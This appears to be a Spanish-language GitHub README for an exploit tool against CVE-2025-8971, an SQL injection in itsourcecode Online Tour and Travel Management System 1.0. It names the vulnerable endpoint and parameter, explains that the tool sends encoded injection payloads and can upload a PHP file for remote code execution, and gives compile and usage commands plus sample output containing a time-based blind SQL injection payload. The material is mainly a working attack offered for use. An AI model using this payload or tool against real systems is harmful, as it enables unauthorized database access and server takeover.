bytereaper77/cve-2025-8971Inyección SQL en itsourcecode Online Tour and Travel Management System 1.0.
Autor: Byte Reaper
Este exploit para CVE-2025-8971, una vulnerabilidad de inyección SQL en itsourcecode Online Tour and Travel Management System 1.0. La vulnerabilidad existe en /admin/operations/travellers.php y puede ser explotada remotamente a través del parámetro val-username.
Cómo funciona
El exploit envía solicitudes HTTP POST manipuladas a la URL objetivo.
Los payloads son codificados e inyectados en val-username.
Se puede usar una carga opcional de archivo (.php o imagen) para lograr ejecución remota de código.
El script verifica las respuestas para comprobar si el payload fue ejecutado exitosamente.
GCC compiler (gcc)
Linux x86_64
ibcurl
gcc script.c argparse.c -o CVE-2025-8971 -lcurl
./CVE-2025-8971 -u http://<target> -v [verbose mode]
-h, --help help message
-u, --url Target Url (BASE URL)
-c, --cookies File cookies
-i, --ip Fake Ip (Host request)
-f, --file File upload (.php / image)
-v, --verbose Verbose Mode
[+] Start encode Payload in Request (username=)
[+] Encode Payload : AND%20(SELECT%20*%20FROM%20(SELECT(SLEEP(5)))bAKL)%20AND%20'b'='b'
[+] Original Payload (Not encode) : AND (SELECT * FROM (SELECT(SLEEP(5)))bAKL) AND 'b'='b'
[+] POST Request Sent
[+] FULL URL : http://127.0.0.1/code/admin/operations/travellers.php
[+] File Upload : test.php
[+] File written successfully
....
MIT License